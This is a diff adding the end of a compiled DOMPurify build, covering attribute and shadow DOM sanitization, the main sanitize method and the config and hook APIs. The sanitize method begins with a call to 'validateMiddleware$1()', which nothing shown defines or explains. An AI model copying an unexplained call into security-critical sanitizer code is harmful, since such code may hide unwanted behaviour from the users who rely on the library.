+ * @returns {boolean} Returns true if the tag name meets the basic criteria for a custom element, otherwise false.
1753
+ */
1754
+ const _isBasicCustomElement = function _isBasicCustomElement(tagName) {
1755
+ return tagName !== 'annotation-xml' && stringMatch(tagName, CUSTOM_ELEMENT);
1756
+ };
1757
+
1758
+ /**
1759
+ * _sanitizeAttributes
1760
+ *
1761
+ * @protect attributes
1762
+ * @protect nodeName
1763
+ * @protect removeAttribute
1764
+ * @protect setAttribute
1765
+ *
1766
+ * @param {Node} currentNode to sanitize
1767
+ */
1768
+ const _sanitizeAttributes = function _sanitizeAttributes(currentNode) {
1769
+ /* Execute a hook if present */
1770
+ _executeHook('beforeSanitizeAttributes', currentNode, null);
1771
+ const {
1772
+ attributes
1773
+ } = currentNode;
1774
+
1775
+ /* Check if we have attributes; if not we might have a text node */
1776
+ if (!attributes) {
1777
+ return;
1778
+ }
1779
+ const hookEvent = {
1780
+ attrName: '',
1781
+ attrValue: '',
1782
+ keepAttr: true,
1783
+ allowedAttributes: ALLOWED_ATTR
1784
+ };
1785
+ let l = attributes.length;
1786
+
1787
+ /* Go backwards over all attributes; safely remove bad ones */
1788
+ while (l--) {
1789
+ const attr = attributes[l];
1790
+ const {
1791
+ name,
1792
+ namespaceURI,
1793
+ value: attrValue
1794
+ } = attr;
1795
+ const lcName = transformCaseFunc(name);
1796
+ let value = name === 'value' ? attrValue : stringTrim(attrValue);
1797
+
1798
+ /* Execute a hook if present */
1799
+ hookEvent.attrName = lcName;
1800
+ hookEvent.attrValue = value;
1801
+ hookEvent.keepAttr = true;
1802
+ hookEvent.forceKeepAttr = undefined; // Allows developers to see this is a property they can set
1803
+ _executeHook('uponSanitizeAttribute', currentNode, hookEvent);
1804
+ value = hookEvent.attrValue;
1805
+
1806
+ /* Work around a security issue with comments inside attributes */
1807
+ if (SAFE_FOR_XML && regExpTest(/((--!?|])>)|<\/(style|title)/i, value)) {
1808
+ _removeAttribute(name, currentNode);
1809
+ continue;
1810
+ }
1811
+
1812
+ /* Did the hooks approve of the attribute? */
1813
+ if (hookEvent.forceKeepAttr) {
1814
+ continue;
1815
+ }
1816
+
1817
+ /* Remove attribute */
1818
+ _removeAttribute(name, currentNode);
1819
+
1820
+ /* Did the hooks approve of the attribute? */
1821
+ if (!hookEvent.keepAttr) {
1822
+ continue;
1823
+ }
1824
+
1825
+ /* Work around a security issue in jQuery 3.0 */
1826
+ if (!ALLOW_SELF_CLOSE_IN_ATTR && regExpTest(/\/>/i, value)) {
1827
+ _removeAttribute(name, currentNode);
1828
+ continue;
1829
+ }
1830
+
1831
+ /* Sanitize attribute content to be template-safe */
1832
+ if (SAFE_FOR_TEMPLATES) {
1833
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {
1834
+ value = stringReplace(value, expr, ' ');
1835
+ });
1836
+ }
1837
+
1838
+ /* Is `value` valid for this attribute? */
1839
+ const lcTag = transformCaseFunc(currentNode.nodeName);
1840
+ if (!_isValidAttribute(lcTag, lcName, value)) {
1841
+ continue;
1842
+ }
1843
+
1844
+ /* Full DOM Clobbering protection via namespace isolation,
1845
+ * Prefix id and name attributes with `user-content-`
1846
+ */
1847
+ if (SANITIZE_NAMED_PROPS && (lcName === 'id' || lcName === 'name')) {
1848
+ // Remove the attribute with this value
1849
+ _removeAttribute(name, currentNode);
1850
+
1851
+ // Prefix the value and later re-create the attribute with the sanitized value
1852
+ value = SANITIZE_NAMED_PROPS_PREFIX + value;
1853
+ }
1854
+
1855
+ /* Handle attributes that require Trusted Types */
1856
+ if (trustedTypesPolicy && typeof trustedTypes === 'object' && typeof trustedTypes.getAttributeType === 'function') {
1857
+ if (namespaceURI) ; else {
1858
+ switch (trustedTypes.getAttributeType(lcTag, lcName)) {
1859
+ case 'TrustedHTML':
1860
+ {
1861
+ value = trustedTypesPolicy.createHTML(value);
1862
+ break;
1863
+ }
1864
+ case 'TrustedScriptURL':
1865
+ {
1866
+ value = trustedTypesPolicy.createScriptURL(value);
1867
+ break;
1868
+ }
1869
+ }
1870
+ }
1871
+ }
1872
+
1873
+ /* Handle invalid data-* attribute set by try-catching it */
1874
+ try {
1875
+ if (namespaceURI) {
1876
+ currentNode.setAttributeNS(namespaceURI, name, value);
1877
+ } else {
1878
+ /* Fallback to setAttribute() for browser-unrecognized namespaces e.g. "x-schema". */
1879
+ currentNode.setAttribute(name, value);
1880
+ }
1881
+ if (_isClobbered(currentNode)) {
1882
+ _forceRemove(currentNode);
1883
+ } else {
1884
+ arrayPop(DOMPurify.removed);
1885
+ }
1886
+ } catch (_) {}
1887
+ }
1888
+
1889
+ /* Execute a hook if present */
1890
+ _executeHook('afterSanitizeAttributes', currentNode, null);
1891
+ };
1892
+
1893
+ /**
1894
+ * _sanitizeShadowDOM
1895
+ *
1896
+ * @param {DocumentFragment} fragment to iterate over recursively
1897
+ */
1898
+ const _sanitizeShadowDOM2 = function _sanitizeShadowDOM(fragment) {
1899
+ let shadowNode = null;
1900
+ const shadowIterator = _createNodeIterator(fragment);
1901
+
1902
+ /* Execute a hook if present */
1903
+ _executeHook('beforeSanitizeShadowDOM', fragment, null);
1904
+ while (shadowNode = shadowIterator.nextNode()) {
1905
+ /* Execute a hook if present */
1906
+ _executeHook('uponSanitizeShadowNode', shadowNode, null);
1907
+
1908
+ /* Sanitize tags and elements */
1909
+ if (_sanitizeElements(shadowNode)) {
1910
+ continue;
1911
+ }
1912
+
1913
+ /* Deep shadow DOM detected */
1914
+ if (shadowNode.content instanceof DocumentFragment) {
1915
+ _sanitizeShadowDOM2(shadowNode.content);
1916
+ }
1917
+
1918
+ /* Check attributes, sanitize if necessary */
1919
+ _sanitizeAttributes(shadowNode);
1920
+ }
1921
+
1922
+ /* Execute a hook if present */
1923
+ _executeHook('afterSanitizeShadowDOM', fragment, null);
1924
+ };
1925
+
1926
+ /**
1927
+ * Sanitize
1928
+ * Public method providing core sanitation functionality
1929
+ *
1930
+ * @param {String|Node} dirty string or DOM node
1931
+ * @param {Object} cfg object
1932
+ */
1933
+ // eslint-disable-next-line complexity
1934
+ DOMPurify.sanitize = function (dirty) {
1935
+ let cfg = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
1936
+ validateMiddleware$1();
1937
+ let body = null;
1938
+ let importedNode = null;
1939
+ let currentNode = null;
1940
+ let returnNode = null;
1941
+ /* Make sure we have a string to sanitize.
1942
+ DO NOT return early, as this will return the wrong type if
1943
+ the user has requested a DOM object rather than a string */
1944
+ IS_EMPTY_INPUT = !dirty;
1945
+ if (IS_EMPTY_INPUT) {
1946
+ dirty = '<!-->';
1947
+ }
1948
+
1949
+ /* Stringify, in case dirty is an object */
1950
+ if (typeof dirty !== 'string' && !_isNode(dirty)) {
1951
+ if (typeof dirty.toString === 'function') {
1952
+ dirty = dirty.toString();
1953
+ if (typeof dirty !== 'string') {
1954
+ throw typeErrorCreate('dirty is not a string, aborting');
1955
+ }
1956
+ } else {
1957
+ throw typeErrorCreate('toString is not a function');
1958
+ }
1959
+ }
1960
+
1961
+ /* Return dirty HTML if DOMPurify cannot run */
1962
+ if (!DOMPurify.isSupported) {
1963
+ return dirty;
1964
+ }
1965
+
1966
+ /* Assign config vars */
1967
+ if (!SET_CONFIG) {
1968
+ _parseConfig(cfg);
1969
+ }
1970
+
1971
+ /* Clean up removed elements */
1972
+ DOMPurify.removed = [];
1973
+
1974
+ /* Check if dirty is correctly typed for IN_PLACE */
1975
+ if (typeof dirty === 'string') {
1976
+ IN_PLACE = false;
1977
+ }
1978
+ if (IN_PLACE) {
1979
+ /* Do some early pre-sanitization to avoid unsafe root nodes */
1980
+ if (dirty.nodeName) {
1981
+ const tagName = transformCaseFunc(dirty.nodeName);
1982
+ if (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) {
1983
+ throw typeErrorCreate('root node is forbidden and cannot be sanitized in-place');
1984
+ }
1985
+ }
1986
+ } else if (dirty instanceof Node) {
1987
+ /* If dirty is a DOM element, append to an empty document to avoid
1988
+ elements being stripped by the parser */
1989
+ body = _initDocument('<!---->');
1990
+ importedNode = body.ownerDocument.importNode(dirty, true);
1991
+ if (importedNode.nodeType === NODE_TYPE.element && importedNode.nodeName === 'BODY') {
1992
+ /* Node is already a body, use as is */
1993
+ body = importedNode;
1994
+ } else if (importedNode.nodeName === 'HTML') {
1995
+ body = importedNode;
1996
+ } else {
1997
+ // eslint-disable-next-line unicorn/prefer-dom-node-append
1998
+ body.appendChild(importedNode);
1999
+ }
2000
+ } else {
2001
+ /* Exit directly if we have nothing to do */
2002
+ if (!RETURN_DOM && !SAFE_FOR_TEMPLATES && !WHOLE_DOCUMENT &&
2003
+ // eslint-disable-next-line unicorn/prefer-includes
2004
+ dirty.indexOf('<') === -1) {
2005
+ return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(dirty) : dirty;
2006
+ }
2007
+
2008
+ /* Initialize the document to work on */
2009
+ body = _initDocument(dirty);
2010
+
2011
+ /* Check we have a DOM node from the data */
2012
+ if (!body) {
2013
+ return RETURN_DOM ? null : RETURN_TRUSTED_TYPE ? emptyHTML : '';
2014
+ }
2015
+ }
2016
+
2017
+ /* Remove first element node (ours) if FORCE_BODY is set */
2018
+ if (body && FORCE_BODY) {
2019
+ _forceRemove(body.firstChild);
2020
+ }
2021
+
2022
+ /* Get node iterator */
2023
+ const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);
2024
+
2025
+ /* Now start iterating over the created document */
2026
+ while (currentNode = nodeIterator.nextNode()) {
2027
+ /* Sanitize tags and elements */
2028
+ if (_sanitizeElements(currentNode)) {
2029
+ continue;
2030
+ }
2031
+
2032
+ /* Shadow DOM detected, sanitize it */
2033
+ if (currentNode.content instanceof DocumentFragment) {
2034
+ _sanitizeShadowDOM2(currentNode.content);
2035
+ }
2036
+
2037
+ /* Check attributes, sanitize if necessary */
2038
+ _sanitizeAttributes(currentNode);
2039
+ }
2040
+
2041
+ /* If we sanitized `dirty` in-place, return it. */
2042
+ if (IN_PLACE) {
2043
+ return dirty;
2044
+ }
2045
+
2046
+ /* Return sanitized string or DOM */
2047
+ if (RETURN_DOM) {
2048
+ if (RETURN_DOM_FRAGMENT) {
2049
+ returnNode = createDocumentFragment.call(body.ownerDocument);
2050
+ while (body.firstChild) {
2051
+ // eslint-disable-next-line unicorn/prefer-dom-node-append
2052
+ returnNode.appendChild(body.firstChild);
2053
+ }
2054
+ } else {
2055
+ returnNode = body;
2056
+ }
2057
+ if (ALLOWED_ATTR.shadowroot || ALLOWED_ATTR.shadowrootmode) {
2058
+ /*
2059
+ AdoptNode() is not used because internal state is not reset
2060
+ (e.g. the past names map of a HTMLFormElement), this is safe
2061
+ in theory but we would rather not risk another attack vector.
2062
+ The state that is cloned by importNode() is explicitly defined
2063
+ by the specs.
2064
+ */
2065
+ returnNode = importNode.call(originalDocument, returnNode, true);
2066
+ }
2067
+ return returnNode;
2068
+ }
2069
+ let serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;
2070
+
2071
+ /* Serialize doctype if allowed */
2072
+ if (WHOLE_DOCUMENT && ALLOWED_TAGS['!doctype'] && body.ownerDocument && body.ownerDocument.doctype && body.ownerDocument.doctype.name && regExpTest(DOCTYPE_NAME, body.ownerDocument.doctype.name)) {
2073
+ serializedHTML = '<!DOCTYPE ' + body.ownerDocument.doctype.name + '>\n' + serializedHTML;
2074
+ }
2075
+
2076
+ /* Sanitize final string template-safe */
2077
+ if (SAFE_FOR_TEMPLATES) {
2078
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], expr => {
2079
+ serializedHTML = stringReplace(serializedHTML, expr, ' ');
2080
+ });
2081
+ }
2082
+ return trustedTypesPolicy && RETURN_TRUSTED_TYPE ? trustedTypesPolicy.createHTML(serializedHTML) : serializedHTML;
2083
+ };
2084
+
2085
+ /**
2086
+ * Public method to set the configuration once
2087
+ * setConfig
2088
+ *
2089
+ * @param {Object} cfg configuration object
2090
+ */
2091
+ DOMPurify.setConfig = function () {
2092
+ let cfg = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
2093
+ _parseConfig(cfg);
2094
+ SET_CONFIG = true;
2095
+ };
2096
+
2097
+ /**
2098
+ * Public method to remove the configuration
2099
+ * clearConfig
2100
+ *
2101
+ */
2102
+ DOMPurify.clearConfig = function () {
2103
+ CONFIG = null;
2104
+ SET_CONFIG = false;
2105
+ };
2106
+
2107
+ /**
2108
+ * Public method to check if an attribute value is valid.
2109
+ * Uses last set config, if any. Otherwise, uses config defaults.
2110
+ * isValidAttribute
2111
+ *
2112
+ * @param {String} tag Tag name of containing element.
2113
+ * @param {String} attr Attribute name.
2114
+ * @param {String} value Attribute value.
2115
+ * @return {Boolean} Returns true if `value` is valid. Otherwise, returns false.
2116
+ */
2117
+ DOMPurify.isValidAttribute = function (tag, attr, value) {
2118
+ /* Initialize shared config vars if necessary. */
2119
+ if (!CONFIG) {
2120
+ _parseConfig({});
2121
+ }
2122
+ const lcTag = transformCaseFunc(tag);
2123
+ const lcName = transformCaseFunc(attr);
2124
+ return _isValidAttribute(lcTag, lcName, value);
2125
+ };
2126
+
2127
+ /**
2128
+ * AddHook
2129
+ * Public method to add DOMPurify hooks
2130
+ *
2131
+ * @param {String} entryPoint entry point for the hook to add
2132
+ * @param {Function} hookFunction function to execute
2133
+ */
2134
+ DOMPurify.addHook = function (entryPoint, hookFunction) {
2135
+ if (typeof hookFunction !== 'function') {
2136
+ return;
2137
+ }
2138
+ hooks[entryPoint] = hooks[entryPoint] || [];
2139
+ arrayPush(hooks[entryPoint], hookFunction);
2140
+ };
2141
+
2142
+ /**
2143
+ * RemoveHook
2144
+ * Public method to remove a DOMPurify hook at a given entryPoint
2145
+ * (pops it from the stack of hooks if more are present)
2146
+ *
2147
+ * @param {String} entryPoint entry point for the hook to remove
2148
+ * @return {Function} removed(popped) hook
2149
+ */
2150
+ DOMPurify.removeHook = function (entryPoint) {
2151
+ if (hooks[entryPoint]) {
2152
+ return arrayPop(hooks[entryPoint]);
2153
+ }
2154
+ };
2155
+
2156
+ /**
2157
+ * RemoveHooks
2158
+ * Public method to remove all DOMPurify hooks at a given entryPoint
2159
+ *
2160
+ * @param {String} entryPoint entry point for the hooks to remove
2161
+ */
2162
+ DOMPurify.removeHooks = function (entryPoint) {
2163
+ if (hooks[entryPoint]) {
2164
+ hooks[entryPoint] = [];
2165
+ }
2166
+ };
2167
+
2168
+ /**
2169
+ * RemoveAllHooks
2170
+ * Public method to remove all DOMPurify hooks
2171
+ */
2172
+ DOMPurify.removeAllHooks = function () {
2173
+ hooks = {};
2174
+ };
2175
+ return DOMPurify;
2176
+ }
2177
+ var purify = createDOMPurify();
2178
+
2179
+ module.exports = purify;
2180
+ //# sourceMappingURL=purify.cjs.js.map